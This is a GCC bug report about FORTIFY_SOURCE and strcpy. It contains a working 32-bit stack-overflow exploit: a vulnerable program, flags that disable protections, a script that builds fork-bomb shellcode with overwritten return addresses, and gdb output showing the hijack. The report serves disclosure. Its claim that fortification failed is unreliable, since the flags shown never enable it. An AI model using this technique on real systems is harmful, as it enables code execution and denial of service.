https://gcc.gnu.org/bugzilla/show_bug.cgi?id=110168

            Bug ID: 110168
           Summary: Security issue on FORTIFY_SOURCE for strcpy function
                    (tested on i386/32 bits)
           Product: gcc
           Version: 10.2.1
            Status: UNCONFIRMED
          Severity: normal
          Priority: P3
         Component: c
          Assignee: unassigned at gcc dot gnu.org
          Reporter: moncho.mendez at uvigo dot gal
  Target Milestone: ---

Created attachment 55281
  --> https://gcc.gnu.org/bugzilla/attachment.cgi?id=55281&action=edit
Files used to reproduce the reported issue (see Description)

The source fortification FORTIFY_SOURCE seems not to be working properly with
some functions such as strcpy with should be automatically linked with strncpy.
I have tested on 32 bits. I was using gcc 10.2.1 (Debian 11) but other versions
of the compiler have the same issue.

Please find below a simple C program to show the issue. The program is included
below (also attached as stack.c):

===================================
#include <string.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>

bool confirm(char *confirmacion){
   char buf[15];
   strcpy(buf,confirmacion);

   return tolower(buf[0])!='y';
}

int main(int argc, char *argv[]){
   if (argc>1)
     return confirm(argv[1]);
   else return 1;
}
===================================

I have disabled Linux Address Space Layout Randomization (ASLR) (sysctl
kernel.randomize_va_space=0) to help to reproduce the error. I provide a script
(no_ASLR.sh) to do it.

The source code was compiled with a Makefile (included in the attached file): 

===================================
CC = gcc 
CFLAGS = -m32 --static -z execstack --save-temps

all: stack.o stack.s
        $(CC) -g $(CFLAGS) -o stack stack.o

%.o: %.c 
        $(CC) -c -g -o $@ $< $(CFLAGS)

clean:
        rm -f *.o *.s stack
===================================

Using make no error/warning is generated. See the following output:

===================================
# make
gcc  -c -g -o stack.o stack.c -m32 --static -z execstack 
gcc  -S -c -fno-asynchronous-unwind-tables -o stack.s stack.c -m32 --static -z
execstack 
gcc  -g -m32 --static -z execstack  -o stack stack.o
===================================

I generated a script to create content for the first command line argument
(create_xploit.sh in the attached file):

===================================
#!/bin/bash

# The shellcode implements a forkbomb in 7 bytes
# Shellcode is available at 
#   http://shell-storm.org/shellcode/files/shellcode-214.html
#
# section .text
#      global _start
# _start:
#      push byte 2
#      pop eax
#      int 0x80
#      jmp short _start
# Shellcode "\x6a\x02\x58\xcd\x80\xeb\xf9"

#Add the shellcode (7 bytes)
echo -e -n "\x6a\x02\x58\xcd\x80\xeb\xf9" > xploit

#Fill the remaining 17 bytes (from byte 8 to byte 24, including both)
for i in $(seq 8 23)
do
  echo -e -n "\x90" >> xploit
done 

#insert here two addresses to overwrite the ebp and eip copies
#bytes should be included in reverse order
#(gdb) p &buf
#$1 = (char (*)[15]) 0xffffdc81

for i in 1 2
do
  echo -e -n "\x81\xdc\xff\xff" >> xploit
done
===================================

And then the program was launched with gdb debugger ('#' and '(gdb)' are the
prompts of bash and gdb, respectivelly)

===================================
# export ARG1=$(cat xploit)
# gdb stack
(gdb) list
4       #include <stdlib.h>
5       #include <stdbool.h>
6       
7       bool confirm(char *confirmacion){
8          char buf[15];
9          strcpy(buf,confirmacion);
10      
11         return tolower(buf[0])!='y';
12      }
13      
(gdb) b 9
Breakpoint 1 at 0x8049d07: file stack.c, line 9.
(gdb) run $ARG1
Starting program: /root/4_fort_source/stack $ARG1

Breakpoint 1, confirm (
    confirmacion=0xffffde9c "j\002X̀\353\371", '\220' <repeats 16 times>,
"\201\334\377\377\201\334\377\377") at stack.c:9
9          strcpy(buf,confirmacion);

(gdb)  p &buf
$1 = (char (*)[15]) 0xffffdc81
(gdb) info frame
Stack level 0, frame at 0xffffdca0:
 eip = 0x8049d07 in confirm (stack.c:9); saved eip = 0x8049d6a
 called by frame at 0xffffdcd0
 source language c.
 Arglist at 0xffffdc98, args: 
    confirmacion=0xffffde9c "j\002X̀\353\371", '\220' <repeats 16 times>,
"\201\334\377\377\201\334\377\377"
 Locals at 0xffffdc98, Previous frame's sp is 0xffffdca0
 Saved registers:
  ebx at 0xffffdc94, ebp at 0xffffdc98, eip at 0xffffdc9c
(gdb) step
11         return tolower(buf[0])!='y';
(gdb) x/5i &buf
   0xffffdc81:  push   $0x2
   0xffffdc83:  pop    %eax
   0xffffdc84:  int    $0x80
   0xffffdc86:  jmp    0xffffdc81
   0xffffdc88:  nop
(gdb) x/2xw 0xffffdc98
0xffffdc98:     0xffffdc81      0xffffdc81
(gdb) continue

===================================

After the last program the shellcode is executed and lots of processes are
created. 

In order to sucessfully get the same results, the script used to generate the
first arg should be modified acording to the address where the stack variable
"buf" is stored when using the variable ARG1 as first argument. The
replacements should be made in the last but one sentence of the script. The
bytes of the address should be added in reverse order. 

The fortification of some functions (such as gets) is working properly and they
are replaced (during linking) by the secure ones (fgets). Moreover for these
functions the compiler show a warning about a call to an insecure function.
However strcpy function does not generate any warning and is not secured
properly linked with strncpy. The call strcpy(dst,src) is equivalent to
strncpy(dst,src,sizeof(dst)/sizeof(char)-1). This can be made manually but...
gcc should do it.

The preprocessed file generated by gcc is also included in the attached file.

Do not hesitate contact me for further information.

Best regards.

Reply via email to